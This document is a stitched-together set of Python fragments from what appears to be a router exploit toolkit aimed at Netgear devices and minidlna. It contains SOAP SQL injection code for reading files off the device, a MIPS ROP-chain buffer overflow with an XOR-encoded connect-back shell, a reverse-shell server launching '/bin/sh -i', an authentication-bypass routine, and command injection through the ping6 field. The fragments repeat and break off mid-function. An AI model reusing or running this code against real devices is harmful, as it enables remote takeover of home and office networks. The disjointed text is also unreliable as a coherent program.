def __init__(self, target_ip, path, port=8200, albumart_id="31337", logger=None): cls = self.__class__ if not logger: print("%s: creating logger" % cls.__name__) logger = Logging() self.logger = logger logger.LOG_INFO("path to extract: %s" % path) logger.LOG_INFO("Album art id: %s" % albumart_id) inject_details = cls.INSERT_ALBUM_ART % (albumart_id, path) inject_string = cls.INJECT_START inject_string += inject_details inject_string += cls.INJECT_END logger.LOG_DEBUG("Injection string:\n\t%s" % inject_string) self.extraction_url = "http://%s:%d/AlbumArt/%s-1.jpg" % ( target_ip, port, albumart_id) super(self.__class__, self).__init__(target_ip, port=port, inject_string=inject_string, logger=logger)
def __init__(self, target_ip, overflow_string, port=8200, detail_id="31337", logger=None): #TODO: break overflow string into parts to separate out single quotes if not logger: logger = Logging() self.logger = logger cls = self.__class__ inject_strings = [] parts = self.make_parts(overflow_string) logger.LOG_DEBUG("split overflow string into %d parts." % (len(parts))) for part in parts: if part == "''": append = cls.APPEND_DLNA_PN_NOQUOTES % (part, detail_id) else: append = cls.APPEND_DLNA_PN % (part, detail_id) inject_string = cls.INJECT_START + append + cls.INJECT_END inject_strings.append(inject_string) self.inject_strings = inject_strings super(self.__class__, self).__init__(target_ip, port=port, inject_string=None, logger=logger)
def do_overflow(host, overflow, port=8200, logger=None): if not logger: logger = Logging() request_object = SoapSetBookmarkDelete(host, port=port, logger=logger) request_object.send_all_requests() request_object = SoapSetBookmarkStageDetails(host, port=port, logger=logger) request_object.send_request() request_object = SoapSetBookmarkStageObjects(host, port=port, logger=logger) request_object.send_request() overflow = str(overflow) logger.LOG_DEBUG("Overflow string: %s" % overflow) request_object = SoapSetBookmarkAppendDLNA_PN(host, overflow, port=port) request_object.send_all_requests() logger.LOG_INFO("Browsing exploit.") request_object = BrowseExploit(host) resp = request_object.send_request()
def __init__(self, host, port="8200", connectback_ip=None, logger=None, action=None, requested_file=None, find=None): self.host = host self.port = port self.requested_file = requested_file self.logger = logger self.album_art_path = "http://%s:%s/AlbumArt/%s-1.jpg" % ( self.host, self.port, self.__class__.ID) if not self.logger: self.logger = Logging() if action == "overflow": if not connectback_ip: raise Exception( "Connect-back IP required to create buffer overflow.") self.overflow = WNDR3700v4_Overflow(connectback_ip).overflow #if we're looking for a value, no need to throw exploit if not find: self.inject_overflow() self.browse_overflow() elif action == "insert": self.inject_album_art() elif action == "delete": self.requested_file = None self.delete_overflow() self.inject_album_art()
def __init__(self,image_data,logger=None): """ Params ------ image_data: The actual data of the firmware image this header should describe and be prepended to. logger: Optional. A Bowcaster Logging object. If a logger is not provided, one will be instantiated. """ if not logger: logger=Logging(max_level=Logging.DEBUG) self.logger=logger logger.LOG_DEBUG("Creating ambit header.") self.size=self.HEADER_SIZE logger.LOG_INFO("Calculating checksum of TRX image.") self.trx_image_checksum=self.__checksum(image_data) logger.LOG_DEBUG("Calculated TRX image checksum: 0x%08x" % self.trx_image_checksum) self.trx_image_sz=len(image_data) logger.LOG_INFO("Building header without checksum.") header=self.__build_header() logger.LOG_INFO("Calculating header checksum.") chksum=self.__checksum(header) logger.LOG_DEBUG("Calculated header checksum: 0x%08x" % chksum) logger.LOG_INFO("Building header with checksum.") header=self.__build_header(checksum=chksum) self.header=header
def do_verification(host, port=8200, logger=None): if not logger: logger = Logging() data = albumart_extract(host, "/usr/sbin/minidlna.exe", logger=logger) verifier = MinidlnaVerifier(data) logger.LOG_INFO("MD5 of minidlna binary: %s" % verifier.hexdigest) if verifier.versions: logger.LOG_INFO("\tFirmware version: %s\n\tminidlna version: %s" % (verifier.versions[0], verifier.versions[1])) return True else: logger.LOG_WARN("Minidlna binary did not match known hash.") return False
def __init__(self, target_ip, port=8200, albumart_id="31337", logger=None): cls = self.__class__ if not logger: logger = Logging() self.logger = logger # logger.LOG_DEBUG("Creating SOAP request to delete id %s from ALBUM_ART." % albumart_id) inject_details = cls.DELETE_ALBUM_ART % albumart_id inject_string = cls.INJECT_START + inject_details + cls.INJECT_END logger.LOG_DEBUG("Injection string:\n\t%s" % inject_string) super(cls, self).__init__(target_ip, port=port, inject_string=inject_string, logger=logger)
def validate_fingerprint(fingerprint_data,logger=None): if not logger: logger=Logging() if fingerprint_data.has_key("Model"): model=fingerprint_data["Model"] logger.LOG_DEBUG("Model: %s" % model) else: logger.LOG_WARN("Couldn't identify model.") return False if not model in KNOWN_MODELS: logger.LOG_WARN("Unknown model: %s" % model) return False if fingerprint_data.has_key("Firmware"): firmware=fingerprint_data["Firmware"] logger.LOG_DEBUG("Firmware: %s" % firmware) else: logger.LOG_WARN("Couldn't indentify firmware.") return False if not firmware in KNOWN_FIRMWARES: logger.LOG_WARN("Unknown firmware version: %s" % firmware) return False return True
def parse_options(argv, logger=None): if not logger: logger = Logging() opts, args = getopt.getopt(argv[1:], 'ht:p:c:e:f:F:', [ "help", "target=", "port=", "connectback_ip=", "extract=", "find_offset=", "file=" ]) options = {} for o, a in opts: if o in ("-h", "--help"): usage(0) if o in ("-t", "--target"): logger.LOG_DEBUG("got target: %s" % a) if options.has_key("find_string"): print("Cannot specify remote target with -f.") usage(1) options["target"] = a elif o in ("-p", "--port"): logger.LOG_DEBUG("Got port: %s" % a) if options.has_key("find_string"): print("Cannot specify remote port with -f.") usage(1) options["port"] = int(port) elif o in ("-c", "--connectback_ip"): logger.LOG_DEBUG("got connect-back IP: %s" % a) if options.has_key("extract"): print("Cannot specify connect-back IP with -e.") usage(1) options["connectback_ip"] = a elif o in ("-e", "--extract"): logger.LOG_DEBUG("got extract: %s" % a) if options.has_key("connectback_ip") or options.has_key( "find_offset"): print("Cannot specify extraction with -f or -c.") usage(1) options["extract"] = a elif o in ("-F", "--file"): logger.LOG_DEBUG("Got outfile: %s" % a) if options.has_key("connectback_ip") or options.has_key( "find_offset"): print("Cannot specify extraction with -f or -c.") usage(1) options["outfile"] = a elif o in ("-f", "--find_offset"): logger.LOG_DEBUG("got find value: %s" % a) if options.has_key("extract") or options.has_key("target"): print("Cannot specify -f with -t or -e.") usage(1) options["find_string"] = a else: logger.LOG_WARN("Got unknown option: %s" % o) usage(1) return options
def find_offset(buf,find_data): if find_data.startswith("0x"): find_data=int(find_data,0) Logging().LOG_DEBUG("Finding %#010x" % find_data) offset=buf.find_offset(find_data) return offset
def do_overflow(callback_ip,target): Logging().LOG_INFO("doing overflow") connectback_server=ConnectbackServer(callback_ip,startcmd="/bin/sh -i") pid=connectback_server.serve() time.sleep(1) if pid: try: SoapSqlInjection(target,connectback_ip=callback_ip,action="overflow") connectback_server.wait() except Exception as e: print e Logging().LOG_WARN("Failed to connect. Killing connect-back server.") connectback_server.shutdown() raise e else: Logging().LOG_WARN("Failed to start connect-back server.")
def __init__(self, ambit_fw_file, mtd_file, mtd_size, logger=None): if not logger: logger = Logging(max_level=Logging.DEBUG) self.logger = logger self.mtd_size = mtd_size self.mtd_file = mtd_file self.__initialize_mtd_file() self.__write_trx_image(ambit_fw_file)
def main(command): logger=Logging() logger.LOG_INFO("Bulding overflow.") buf=build_overflow(logger) if command.startswith("find="): find_string=command.split("find=")[1] offset=find_offset(buf,find_string) logger.LOG_INFO("Offset of %s: %d" %(find_string,offset)) sys.exit(0) logger.LOG_INFO("Starting server.") server=ConnectbackServer(CALLBACK_IP,port=8080,logger=logger) pid=server.serve() target_ip=command if pid: try: send_overflow(buf,target_ip,logger) server.wait() except Exception as e: print e server.shutdown() else: logger.LOG_WARN("Failed to start connect-back server.") sys.exit(1) logger.LOG_INFO("Done.")
def __init__(self, target_ip, inject_string=None, port=8200, logger=None): if not logger: self.logger = Logging() self.target_ip = target_ip self.port = port self.request_xml = open("./soap_x_setbookmark.xml", "rb").read() if inject_string: request = self.request_xml.replace("INJECT", inject_string) self.request_xml = request
def __init__(self,image_data,logger=None): """ Params ------ image_data: The actual data of the firmware image this header should describe and be prepended to. logger: Optional. A Bowcaster Logging object. If a logger is not provided, one will be instantiated. """ if not logger: logger=Logging(max_level=Logging.DEBUG) self.logger=logger logger.LOG_DEBUG("Creating ambit header.") self.size=self.HEADER_SIZE header=self.__build_header() self.header=header
def is_unlocked(target,port=80,https=False): logger=Logging() protocol="http" if https: protocol="https" client=HttpClient() url="%s://%s:%d/index.htm" % (protocol,target,port) unlocked = False try: client.send(url) unlocked=True except HTTPError as e: logger.LOG_DEBUG("Got code: %s" % e.code) if e.code == 401: unlocked=False else: raise return unlocked
def relock_target(target,port=80,logger=None,https=False): if not logger: logger=Logging() protocol="http" if https: protocol="https" if not is_unlocked(target,port=port,https=https): logger.LOG_INFO("Target is already locked!") return client=HttpClient() url="%s://%s:%d/BRS_success.html" %(protocol,target,port) logger.LOG_INFO("Requesting BRS_success.html in order to obtain timestamp.") resp=client.send(url) timestamp=extract_timestamp(resp) if not timestamp: logger.LOG_WARN("Couldn't extract timestamp from response.") else: logger.LOG_DEBUG("Timestamp: %s" % timestamp) url=("%s://%s:%d/apply.cgi?/" % (protocol,target,port)+ "BRS_netgear_success.html%20timestamp=" + timestamp) post_data={"submit_flag":"hijack_success", "click_flag":"0"} resp=client.send(url,post_data=post_data,urlencode=True)
def inject_command(command,target,port=80,logger=None,https=False): if not logger: logger=Logging() client=HttpClient() protocol="http" if https: protocol="https" url="%s://%s:%d/ping6_traceroute6_hidden_info.htm" % (protocol,target,port) logger.LOG_INFO("Requesting ping6_traceroute6_hidden_info.htm in order to obtain timestamp.") resp=client.send(url) timestamp=extract_timestamp(resp) if timestamp: logger.LOG_DEBUG("Got timestamp: %s" % timestamp) else: logger.LOG_WARN("Couldn't extract timestamp from response.") raise Exception() url="%s://%s:%d/apply.cgi?/ping6_traceroute6_hidden_info.htm" % (protocol,target,port) url+="%20timestamp="+timestamp logger.LOG_DEBUG("URL: %s" % url) post_data={} post_data["submit_flag"]="ping6" post_data["ping6_text"]=command post_data["traceroute6_text"]="" client.send(url,post_data=post_data,urlencode=True)
def do_overflow(host, overflow, port=8200, logger=None): if not logger: logger = Logging() logger.LOG_DEBUG("Clearing previous overflow from database.") request_object = SoapSetBookmarkDelete(host, port=port, logger=logger) request_object.send_all_requests() logger.LOG_DEBUG("Staging record in DETAILS table.") request_object = SoapSetBookmarkStageDetails(host, port=port, logger=logger) request_object.send_request() logger.LOG_DEBUG("Staging record in OBJECTS table.") request_object = SoapSetBookmarkStageObjects(host, port=port, logger=logger) request_object.send_request() overflow = str(overflow) # logger.LOG_DEBUG("Overflow string: %s" % overflow) request_object = SoapSetBookmarkAppendDLNA_PN(host, overflow, port=port, logger=logger) request_object.send_all_requests() logger.LOG_INFO("Browsing exploit.") request_object = BrowseExploit(host) resp = request_object.send_request()
def __init__(self, callback_ip_address, port, target_ip_address, logger=None): self.logger = logger if port: self.port = port else: self.port = 8080 self.target_ip_address = target_ip_address self.callback_ip_address = callback_ip_address self.offset_modifier = len(target_ip_address) if not self.logger: self.logger = Logging() #"/usr/sbin/telnetd -p 31337" #"/bin/sh -i" self.connectback_server = ConnectbackServer(callback_ip_address, port=port, startcmd="/bin/sh -i") self.endianness = self.__class__.endianness self.overflow_len = self.__class__.overflow_len
def __init__(self, input_files, logger=None): """ Params ------ input_files: List of files to concatenate and prepend headers to logger: Optional. A Bowcaster Logging object. If a logger is not provided, one will be instantiated. """ if not logger: logger = Logging(max_level=Logging.DEBUG) self.logger = logger trx_img = trx.TrxImage(input_files, trx.LittleEndian, logger=logger) header = AmbitHeader(str(trx_img), logger=logger) self.trx_img = trx_img self.header = header
def main(options): logger=Logging() logger.LOG_INFO("Bulding overflow.") connectback_ip=options["connectback_ip"] buf=build_overflow(connectback_ip,logger=logger) if options.has_key("overflow_file"): logger.LOG_INFO("Writing overflow string to file: %s" % options["overflow_file"]) open(options["overflow_file"],"wb").write(str(buf)) if options.has_key("find_string"): find_string=options["find_string"] offset=find_offset(buf,find_string) logger.LOG_INFO("Offset of %s: %d" %(find_string,offset)) sys.exit(0) logger.LOG_INFO("Starting server.") try: server=ConnectbackServer(connectback_ip,port=8080,logger=logger) pid=server.serve() except Exception as e: logger.LOG_WARN("Failed to start connect-back server: %s" % str(e)) sys.exit(1) if options.has_key("target"): target_ip=options["target"] target_ip=command try: send_overflow(buf,target_ip,logger) server.wait() except Exception as e: print e server.shutdown() else: try: server.wait() except: server.shutdown() logger.LOG_INFO("Done.")
def parse_options(argv,logger=None): if not logger: logger=Logging() opts,args=getopt.getopt(argv[1:],'t:c:F:f:',["target=","connectback_ip=","file=","find_offset="]) options={} for o, a in opts: if o in ("-t","--target"): logger.LOG_DEBUG("got target: %s" % a) options["target"]=a elif o in ("-c","connectback_ip"): logger.LOG_DEBUG("got connect-back IP: %s" % a) options["connectback_ip"]=a elif o in ("-F","--file"): logger.LOG_DEBUG("got output file: %s" % a) options["overflow_file"]=a elif o in ("-f","--find_offset"): logger.LOG_DEBUG("got find value: %s" % a) options["find_string"]=a else: logger.LOG_WARN("Got unhandled option: %s" % o) sys.exit(1) return options
def main(input_files, output_file, find_str=None): logger = Logging(max_level=Logging.DEBUG) logger.LOG_DEBUG("Building firmware from input files: %s" % str(input_files)) fwimage = FirmwareImage(input_files) if find_str: find = find_str if find_str.startswith("0x"): find = int(find_str, 0) logger.LOG_DEBUG("Finding offset of 0x%08x" % find) else: logger.LOG_DEBUG("Finding offset of %s" % find) offset = fwimage.find_offset(find) logger.LOG_INFO("Offset: %s" % offset) else: logger.LOG_INFO("Writing firmware to %s\n" % output_file) out = open(output_file, "wb") out.write(str(fwimage)) out.close()
def unlock_target(target,port=80,logger=None,https=False): if not logger: logger=Logging() protocol="http" if https: protocol="https" if is_unlocked(target,port=port,https=https): logger.LOG_INFO("Target is already unlocked.") return else: logger.LOG_INFO("Unlocking target.") client=HttpClient() url="%s://%s:%d/BRS_02_genieHelp.html" % (protocol,target,port) client.send(url) if is_unlocked(target,port=port,https=https): logger.LOG_INFO("Target unlocked!") else: logger.LOG_WARN("Target unlock failed!") raise Exception("Unlock failed.")
logger.log_msg("Staging overflow....") logger.log_msg("%d sections" % len(overflow_data)) stage_data(overflow_data) logger.log_msg_end("\n\t....done.") def trigger_exploit(): request=build_soap_request() resp=do_post_request(request) if resp==None: return else: raise Exception("Exploit failed.") logger=Logging() WNDR3700_class=WNDR3700.WNDR3700_version_detect(target_ip,logger=logger) if len(sys.argv) > 1 and sys.argv[1].startswith('find='): find=sys.argv[1].split('=')[1] found=WNDR3700_class(callback_ip,callback_port,target_ip,encode=True,logger=logger).find(find) logger.LOG_INFO("found string %s at offset %d" % (find,found)) sys.exit(0) """ try: dlna_overflow=WNDR3700_class(callback_ip,callback_port,target_ip,encode=True,logger=logger) except Exception as e: print str(e) sys.exit(1)
def main(options,logger=None): outfile=None path=None connectback_ip=None port=None host=None if not logger: logger=Logging() try: port=options["port"] except KeyError: port=8200 try: connectback_ip=options["connectback_ip"] except KeyError: pass try: host=options["target"] except KeyError: pass try: path=options["extract"] except KeyError: pass if path: try: outfile=options["outfile"] host=options["target"] # logger.LOG_DEBUG("main() got path=%s" % path) albumart_extract(host,path,outfile=outfile,logger=logger) exit(0) except KeyError: print("File extraction requires a remote path, local file, and target IP address.") usage(1) if connectback_ip: try: logger.set_max_log_level(Logging.INFO) buf=DLNA_Overflow(1536,connectback_ip,logger=logger).buf logger.set_max_log_level(Logging.DEBUG) except DLNAOverflowException as e: logger.LOG_WARN("%s" % str(e)) exit(1) try: find_str=options["find_string"] logger.LOG_INFO("Finding offset of %s" % find_str) find=find_str if find_str.startswith("0x"): find=int(find_str,16) offset=buf.find_offset(find) logger.LOG_INFO("Offset: %s" % offset) exit(0) except KeyError: pass if not host: print("Remote exploitation requires a target IP address.") usage(1) else: print("No file extraction, overflow search string, or remote target was provided.") usage(1) if not do_verification(host,port=port,logger=logger): exit(1) server=ConnectbackServer(connectback_ip,startcmd="/bin/sh -i") server.serve() try: do_overflow(host,buf,port=port,logger=logger) except Exception as e: server.shutdown() raise e server.wait()
import os from bowcaster.development.overflowbuilder import OverflowBuffer,SectionCreator from bowcaster.servers.connectback_server import ConnectbackServer from bowcaster.payloads.mips.connectback_payload import ConnectbackPayload from bowcaster.encoders.mips import MipsXorEncoder from bowcaster.common.support import BigEndian from bowcaster.common.support import Logging import environment import msearch_crash import struct import socket CALLBACK_IP=environment.CALLBACK_IP QEMU=environment.QEMU logger=Logging() def send_multicast(mcast_addr,mcast_port,data): sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM,socket.IPPROTO_UDP) sock.setsockopt(socket.IPPROTO_IP,socket.IP_MULTICAST_TTL,2) sock.sendto(data,(mcast_addr,mcast_port)) sock.close() qemu_libwlbcmshared_base=0x40942000 qemu_libc_base=0x4085b000 actual_libc_base=0x2aabe000 actual_libwlbcmshared_base=0x2aba1000 if QEMU:
def __init__(self, length, connectback_ip, port=8080, logger=None): cls = self.__class__ if not logger: logger = Logging() self.logger = logger logger.LOG_INFO("Building buffer overflow.") ra = 211 s8 = 207 fp = s8 s7 = 203 s6 = 199 s5 = 195 s4 = 191 s3 = 187 s2 = 183 s1 = 179 s0 = 175 SC = SectionCreator(LittleEndian, badchars=cls.BADCHARS, base_address=cls.LIBC_BASE) logger.LOG_INFO("Assembling ROP chain.") # logger.LOG_INFO("Adding 0x%08x at %d." % (0x4A558,375)) #This needs to be a pointer that can be dereferenced to another pointer, #which can be incremented to a memory location. #This is a pointer in the .sdata section that points to itself, and is #followed by null bytes and is writable. SC.gadget_section( 375, 0x4A558, description= "Placeholder for passed_args[0]. Passed to strcatf() at 0x0041635C.", base_address=cls.LIBAVUTIL_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x0005367A,151)) #This needs to be any readable memory location. #This points to the string "November" in libc's read-only data section. SC.gadget_section( 151, 0x0005367A, description= "Placeholder for for 'duration' stack hazard. Passed to strcatf() in $a2 at 0x00416EFC.", base_address=cls.LIBC_BASE) # SC.gadget_section(151,0x126DB0, # description="Placeholder for for 'duration' stack hazard. Passed to strcatf() in $a2 at 0x00416EFC.", # base_address=cls.LIBAVCODEC_BASE) # # SC.gadget_section(159,0x126db4, # description="Pointer to nul bytes.Placeholder for argument to vsnprintf()", # base_address=cls.LIBAVCODEC_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x0005367A,103)) #Pointer to "November" in libc SC.gadget_section( 103, 0x0005367A, description= "Placeholder for 'mime' stack hazard. Passed to strcatf() in $a2 at 0x0041644C", base_address=cls.LIBC_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x0005367A,163)) #Pointer to "November" in libc SC.gadget_section( 163, 0x0005367A, description= "Placeholder from 'detailID stack hazard. Passed to strcatf() in var_110 at 0x41644c", base_address=cls.LIBC_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x1ca490b,391)) SC.gadget_section( 391, 0x1ca490b, description= ("Arbitrary number that gets transformed into a pointer that can be dereferenced.\n" + "Ultimately Passed to strcatf() in var_118 at 0x41644c"), base_address=0x0) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x07EC80,363)) SC.gadget_section( 363, 0x07EC80, description= "Placeholder for stack hazard. Pointer to this address passed to strcatf() at 0x415064.", base_address=cls.LIBAVFORMAT_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0xFFF80BE0,367)) SC.gadget_section( 367, 0xFFF80BE0, description= "Placeholder, than when added to the libavformat's .sdata pointer, will result in a pointer into libsqlite's data segment.", base_address=0x0) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x1D95C,ra)) # .text:0001D95C move $t9, $s1 # .text:0001D960 lw $ra, 0x28+var_4($sp) # .text:0001D964 lw $s2, 0x28+var_8($sp) # .text:0001D968 lw $s1, 0x28+var_C($sp) # .text:0001D96C lw $s0, 0x28+var_10($sp) # .text:0001D970 jr $t9 # .text:0001D974 addiu $sp, 0x28 SC.gadget_section( ra, 0x1D95C, description= "[ra] Stage stack data into $ra for return from sleep(), jr $s1.", base_address=cls.LIBC_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x43884,s1)) # .text:00043884 move $t9, $s0 # .text:00043888 li $a0, 2 # .text:0004388C lw $s0, 0x20+var_8($sp) # .text:00043890 li $a1, 1 # .text:00043894 move $a2, $zero # .text:00043898 jr $t9 # .text:0004389C addiu $sp, 0x20 SC.gadget_section( s1, 0x43884, description="[s1] Stage 2 sec arg to sleep(), jr $s0") #new register offsets (As a result #of $ra gadget, but before $s1 gadget is loaded by $ra gadget): ra = 251 s2 = 247 s1 = 243 s0 = 239 # logger.LOG_INFO("Adding 0x%08x at %d." % (0x000506C0,s0)) #Stage sleep() in $s0 SC.gadget_section( s0, 0x000506C0, description= "[s0] Address of sleep(). Next gadget jumps to this address.") # logger.LOG_INFO("Adding 0x%08x at %d." % (0x000506C0,s2)) SC.gadget_section( s2, 0x000506C0, description= "[s2] A pointer that can be dereferenced with out crashing the next gadget." ) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x427A8,ra)) # .text:000427A8 addiu $s0, $sp, 0xE0+var_C0 # .text:000427AC lw $a0, 0($s2) # .text:000427B0 move $a1, $s1 # .text:000427B4 move $a2, $s4 # .text:000427B8 move $t9, $s6 # .text:000427BC jalr $t9 # .text:000427C0 move $a3, $s0 SC.gadget_section( ra, 0x427A8, description= "[ra] Stackfinder. stage 0xE0+var_C0+$sp in $s0, jalr $s6.") # logger.LOG_INFO("Adding 0x%08x at %d." % (0x10938,s6)) # (Start one instruction early because 3c is a bad byte.) # .text:00010938 la $t9, free # .text:0001093C move $t9, $s0 # .text:00010940 jalr $t9 # .text:00010944 move $a0, $s2 SC.gadget_section(s6, 0x10938, description="[s6] Stackjumper. jalr $s0.") logger.LOG_INFO("Adding trampoline 1 at offset 319.") trampoline_1 = Trampoline(LittleEndian, -310) SC.string_section( 319, trampoline_1.shellcode, description="Trampoline back to beginning of buffer.") logger.LOG_INFO("Adding trampoline 2 at offset 11.") trampoline_2 = Trampoline(LittleEndian, 1028) SC.string_section(11, trampoline_2.shellcode, description="Trampoline forward to trampoline 3.") #trampoline_3=Trampoline(LittleEndian,-618) #SC.string_section(1043,trampoline_3.shellcode, # description="Trampoline back to payload.") logger.LOG_INFO("Generating connect-back payload.") payload = ConnectbackPayload(connectback_ip, LittleEndian, port=port) try: logger.LOG_INFO("Attempting to XOR encode payload.") encoded_payload = MipsXorEncoder(payload, logger=logger, badchars=cls.BADCHARS) except EncoderException as e: logger.LOG_WARN("%s" % str(e)) raise DLNAOverflowException("Payload generation failed.") self.logger.LOG_DEBUG("Length of encoded shellcode: %d" % len(encoded_payload.shellcode)) logger.LOG_INFO("Adding encoded payload at offset 1043.") #offset 427 with 3trampolines. 1043 with only 2 trampolines SC.string_section( 1043, encoded_payload.shellcode, description="XOR encoded connect-back shell to ip:port %s:%d" % (connectback_ip, port)) self.buf = OverflowBuffer(LittleEndian, length, SC.section_list) logger.LOG_INFO("Finished generating overflow string.")
logger.log_msg("Staging overflow....") logger.log_msg("%d sections" % len(overflow_data)) stage_data(overflow_data) logger.log_msg_end("\n\t....done.") def trigger_exploit(): request = build_soap_request() resp = do_post_request(request) if resp == None: return else: raise Exception("Exploit failed.") logger = Logging() WNDR3700_class = WNDR3700.WNDR3700_version_detect(target_ip, logger=logger) if len(sys.argv) > 1 and sys.argv[1].startswith('find='): find = sys.argv[1].split('=')[1] found = WNDR3700_class(callback_ip, callback_port, target_ip, encode=True, logger=logger).find(find) logger.LOG_INFO("found string %s at offset %d" % (find, found)) sys.exit(0) """ try:
def main(options, logger=None): outfile = None path = None connectback_ip = None port = None host = None if not logger: logger = Logging() try: port = options["port"] except KeyError: port = 8200 try: connectback_ip = options["connectback_ip"] except KeyError: pass try: host = options["target"] except KeyError: pass try: path = options["extract"] except KeyError: pass if path: try: outfile = options["outfile"] host = options["target"] logger.LOG_DEBUG("main() got path=%s" % path) albumart_extract(host, path, outfile=outfile, logger=logger) exit(0) except KeyError: print( "File extraction requires a remote path, local file, and target IP address." ) usage(1) if connectback_ip: buf = DLNA_Overflow(1536, connectback_ip, logger=logger).buf try: find_str = options["find_string"] logger.LOG_INFO("Finding offset of %s" % find_str) find = find_str if find_str.startswith("0x"): find = int(find_str, 16) offset = buf.find_offset(find) logger.LOG_INFO("Offset: %s" % offset) exit(0) except KeyError: pass if not host: print("Remote exploitation requires a target IP address.") usage(1) else: print( "No file extraction, overflow search string, or remote target was provided." ) usage(1) if not do_verification(host, port=port, logger=logger): exit(1) server = ConnectbackServer(connectback_ip, startcmd="/bin/sh -i") server.serve() try: do_overflow(host, buf, port=port, logger=logger) except Exception as e: server.shutdown() raise e server.wait()
elif o in ("-e", "--extract"): logger.LOG_DEBUG("got extract: %s" % a) if options.has_key("connectback_ip") or options.has_key( "find_offset"): print("Cannot specify extraction with -f or -c.") usage(1) options["extract"] = a elif o in ("-F", "--file"): logger.LOG_DEBUG("Got outfile: %s" % a) if options.has_key("connectback_ip") or options.has_key( "find_offset"): print("Cannot specify extraction with -f or -c.") usage(1) options["outfile"] = a elif o in ("-f", "--find_offset"): logger.LOG_DEBUG("got find value: %s" % a) if options.has_key("extract") or options.has_key("target"): print("Cannot specify -f with -t or -e.") usage(1) options["find_string"] = a else: logger.LOG_WARN("Got unknown option: %s" % o) usage(1) return options if __name__ == "__main__": logger = Logging(max_level=Logging.INFO) options = parse_options(sys.argv, logger=logger) main(options, logger=logger)